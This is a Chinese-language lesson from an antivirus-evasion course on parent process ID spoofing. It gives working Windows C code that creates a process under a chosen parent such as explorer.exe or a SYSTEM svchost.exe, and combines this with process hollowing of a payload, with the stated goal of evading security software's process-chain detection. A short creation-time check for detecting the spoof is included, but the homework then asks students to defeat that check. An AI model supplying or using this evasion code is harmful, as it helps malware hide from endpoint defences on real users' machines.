免杀专题

14、父进程伪装

1. 课程目标

掌握父进程伪装技术,使创建的进程看起来是由另一个合法进程创建的,用于绑过安全软件的进程链检测。

1.1 学习目标

  • 理解父进程在安全检测中的作用
  • 掌握PROC_THREAD_ATTRIBUTE_PARENT_PROCESS的使用
  • 学会伪装为系统进程的子进程

2. 名词解释

名词 英文 解释
PPID Parent Process ID 父进程ID
进程链 Process Chain 进程的父子关系链
PPID Spoofing - 父进程ID伪装
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS - 指定父进程的属性
svchost.exe - 服务宿主进程,常用于伪装

3. 技术原理

3.1 为什么需要父进程伪装

安全软件检测逻辑:

正常进程链:
explorer.exe → cmd.exe → malware.exe  ← 可疑!

伪装后:
explorer.exe → cmd.exe
svchost.exe → malware.exe  ← 看起来是系统服务

3.2 检测点

检测项 说明
父进程名 cmd/powershell启动的进程可疑
父进程路径 非系统路径的父进程可疑
进程链深度 异常深的进程链可疑
父进程签名 未签名父进程可疑

4. 核心实现代码

4.1 基础父进程伪装

#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>

// 根据进程名获取PID
DWORD GetPidByName(LPCWSTR szProcessName) {
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnap == INVALID_HANDLE_VALUE) return 0;
    
    PROCESSENTRY32W pe = { sizeof(pe) };
    DWORD dwPid = 0;
    
    if (Process32FirstW(hSnap, &pe)) {
        do {
            if (_wcsicmp(pe.szExeFile, szProcessName) == 0) {
                dwPid = pe.th32ProcessID;
                break;
            }
        } while (Process32NextW(hSnap, &pe));
    }
    
    CloseHandle(hSnap);
    return dwPid;
}

// 父进程伪装创建进程
BOOL CreateProcessWithParentSpoof(LPCWSTR szPath, LPCWSTR szParentName) {
    printf("[*] 父进程伪装\n");
    printf("[*] 目标进程: %ws\n", szPath);
    printf("[*] 伪装父进程: %ws\n", szParentName);
    
    // 1. 获取父进程PID和句柄
    DWORD dwParentPid = GetPidByName(szParentName);
    if (dwParentPid == 0) {
        printf("[-] 未找到父进程: %ws\n", szParentName);
        return FALSE;
    }
    printf("[+] 父进程PID: %d\n", dwParentPid);
    
    HANDLE hParent = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, dwParentPid);
    if (!hParent) {
        printf("[-] 打开父进程失败: %d\n", GetLastError());
        return FALSE;
    }
    
    // 2. 初始化属性列表
    SIZE_T attrSize = 0;
    InitializeProcThreadAttributeList(NULL, 1, 0, &attrSize);
    
    LPPROC_THREAD_ATTRIBUTE_LIST pAttrList = 
        (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attrSize);
    
    if (!InitializeProcThreadAttributeList(pAttrList, 1, 0, &attrSize)) {
        printf("[-] 初始化属性列表失败: %d\n", GetLastError());
        CloseHandle(hParent);
        return FALSE;
    }
    
    // 3. 设置父进程属性
    if (!UpdateProcThreadAttribute(pAttrList, 0, 
                                   PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
                                   &hParent, sizeof(HANDLE), NULL, NULL)) {
        printf("[-] 设置父进程属性失败: %d\n", GetLastError());
        DeleteProcThreadAttributeList(pAttrList);
        CloseHandle(hParent);
        return FALSE;
    }
    
    // 4. 创建进程
    STARTUPINFOEXW si = { 0 };
    si.StartupInfo.cb = sizeof(si);
    si.lpAttributeList = pAttrList;
    
    PROCESS_INFORMATION pi = { 0 };
    
    if (!CreateProcessW(szPath, NULL, NULL, NULL, FALSE,
                        EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE,
                        NULL, NULL, &si.StartupInfo, &pi)) {
        printf("[-] 创建进程失败: %d\n", GetLastError());
        DeleteProcThreadAttributeList(pAttrList);
        CloseHandle(hParent);
        return FALSE;
    }
    
    printf("[+] 进程创建成功!\n");
    printf("    PID: %d\n", pi.dwProcessId);
    printf("    伪装PPID: %d (%ws)\n", dwParentPid, szParentName);
    
    // 清理
    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);
    DeleteProcThreadAttributeList(pAttrList);
    CloseHandle(hParent);
    
    return TRUE;
}

int main() {
    printf("========================================\n");
    printf("    父进程伪装 (PPID Spoofing) 演示\n");
    printf("========================================\n\n");
    
    // 伪装为explorer.exe的子进程
    CreateProcessWithParentSpoof(
        L"C:\\Windows\\System32\\notepad.exe",
        L"explorer.exe"
    );
    
    printf("\n[*] 使用Process Explorer验证父进程\n");
    
    return 0;
}

4.2 伪装为svchost.exe

// svchost.exe通常有多个实例,选择一个合适的
BOOL SpoofAsSvchost(LPCWSTR szPath) {
    // 找到一个svchost.exe进程
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32W pe = { sizeof(pe) };
    DWORD dwSvchostPid = 0;
    
    if (Process32FirstW(hSnap, &pe)) {
        do {
            if (_wcsicmp(pe.szExeFile, L"svchost.exe") == 0) {
                // 选择SYSTEM用户的svchost
                HANDLE hProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pe.th32ProcessID);
                if (hProc) {
                    HANDLE hToken;
                    if (OpenProcessToken(hProc, TOKEN_QUERY, &hToken)) {
                        // 检查是否是SYSTEM用户
                        TOKEN_USER* pUser = NULL;
                        DWORD dwLen = 0;
                        GetTokenInformation(hToken, TokenUser, NULL, 0, &dwLen);
                        pUser = (TOKEN_USER*)HeapAlloc(GetProcessHeap(), 0, dwLen);
                        GetTokenInformation(hToken, TokenUser, pUser, dwLen, &dwLen);
                        
                        // 简化:选择第一个能打开的svchost
                        dwSvchostPid = pe.th32ProcessID;
                        
                        HeapFree(GetProcessHeap(), 0, pUser);
                        CloseHandle(hToken);
                    }
                    CloseHandle(hProc);
                    if (dwSvchostPid) break;
                }
            }
        } while (Process32NextW(hSnap, &pe));
    }
    CloseHandle(hSnap);
    
    if (!dwSvchostPid) {
        printf("[-] 未找到合适的svchost.exe\n");
        return FALSE;
    }
    
    printf("[+] 选择svchost.exe PID: %d\n", dwSvchostPid);
    
    // 使用此svchost作为父进程
    HANDLE hParent = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, dwSvchostPid);
    if (!hParent) {
        printf("[-] 无法打开svchost进程\n");
        return FALSE;
    }
    
    // ... 后续创建过程与上面相同
    
    CloseHandle(hParent);
    return TRUE;
}

4.3 结合进程镂空

// 伪装父进程 + 进程镂空 = 更高隐蔽性
BOOL AdvancedInjection(LPCWSTR szTargetPath, LPCWSTR szParentName, LPVOID pPayload, SIZE_T payloadSize) {
    // 1. 获取父进程句柄
    DWORD dwParentPid = GetPidByName(szParentName);
    HANDLE hParent = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, dwParentPid);
    
    // 2. 设置属性
    SIZE_T attrSize = 0;
    InitializeProcThreadAttributeList(NULL, 1, 0, &attrSize);
    LPPROC_THREAD_ATTRIBUTE_LIST pAttrList = 
        (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attrSize);
    InitializeProcThreadAttributeList(pAttrList, 1, 0, &attrSize);
    UpdateProcThreadAttribute(pAttrList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
                             &hParent, sizeof(HANDLE), NULL, NULL);
    
    // 3. 创建挂起进程(带父进程伪装)
    STARTUPINFOEXW si = { sizeof(si) };
    si.lpAttributeList = pAttrList;
    PROCESS_INFORMATION pi = { 0 };
    
    CreateProcessW(szTargetPath, NULL, NULL, NULL, FALSE,
                   EXTENDED_STARTUPINFO_PRESENT | CREATE_SUSPENDED,
                   NULL, NULL, &si.StartupInfo, &pi);
    
    // 4. 执行进程镂空...
    // (参考课时10的代码)
    
    // 5. 恢复执行
    ResumeThread(pi.hThread);
    
    return TRUE;
}

5. 检测父进程伪装

5.1 检测方法

#include <windows.h>
#include <winternl.h>
#include <stdio.h>

// 检测PPID欺骗
BOOL DetectPPIDSpoof(DWORD dwPid) {
    // 方法1:比较进程创建时间
    // 父进程创建时间应该早于子进程
    
    HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, dwPid);
    if (!hProcess) return FALSE;
    
    // 获取进程基本信息
    typedef NTSTATUS(NTAPI* pNtQueryInformationProcess)(
        HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG);
    
    pNtQueryInformationProcess NtQueryInformationProcess = 
        (pNtQueryInformationProcess)GetProcAddress(
            GetModuleHandleW(L"ntdll.dll"), "NtQueryInformationProcess");
    
    PROCESS_BASIC_INFORMATION pbi;
    NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);
    
    DWORD dwParentPid = (DWORD)(ULONG_PTR)pbi.Reserved3;  // InheritedFromUniqueProcessId
    
    // 获取父进程句柄
    HANDLE hParent = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, dwParentPid);
    
    // 比较创建时间
    FILETIME ftCreate, ftExit, ftKernel, ftUser;
    FILETIME ftParentCreate;
    
    GetProcessTimes(hProcess, &ftCreate, &ftExit, &ftKernel, &ftUser);
    if (hParent) {
        GetProcessTimes(hParent, &ftParentCreate, &ftExit, &ftKernel, &ftUser);
        
        // 如果"父进程"创建时间晚于子进程,说明被伪装了
        if (CompareFileTime(&ftParentCreate, &ftCreate) > 0) {
            printf("[!] 检测到PPID伪装!\n");
            CloseHandle(hParent);
            CloseHandle(hProcess);
            return TRUE;
        }
        CloseHandle(hParent);
    }
    
    CloseHandle(hProcess);
    return FALSE;
}

6. 常见问题

6.1 权限不足

问题: OpenProcess(PROCESS_CREATE_PROCESS) 失败

解决:

  • 选择权限较低的父进程
  • 以管理员权限运行
  • 选择同用户的进程

6.2 父进程终止

问题: 伪装的父进程终止后子进程PPID变为0

说明: 这是正常现象,Windows会将孤儿进程的PPID设为0


7. 课后作业

7.1、作业1:基础伪装(必做)

  1. 实现父进程伪装,创建notepad.exe
  2. 使用Process Explorer验证PPID

7.2、作业2:选择最佳父进程(进阶)

  1. 编写程序自动选择最合适的svchost.exe作为父进程
  2. 考虑因素:用户、完整性级别、存活时间

7.3、作业3:反检测(高级)

  1. 研究如何绕过创建时间检测
  2. 实现更隐蔽的父进程伪装

8. 下一课预告

下一课我们将学习利用白名单绕过UAC的技术。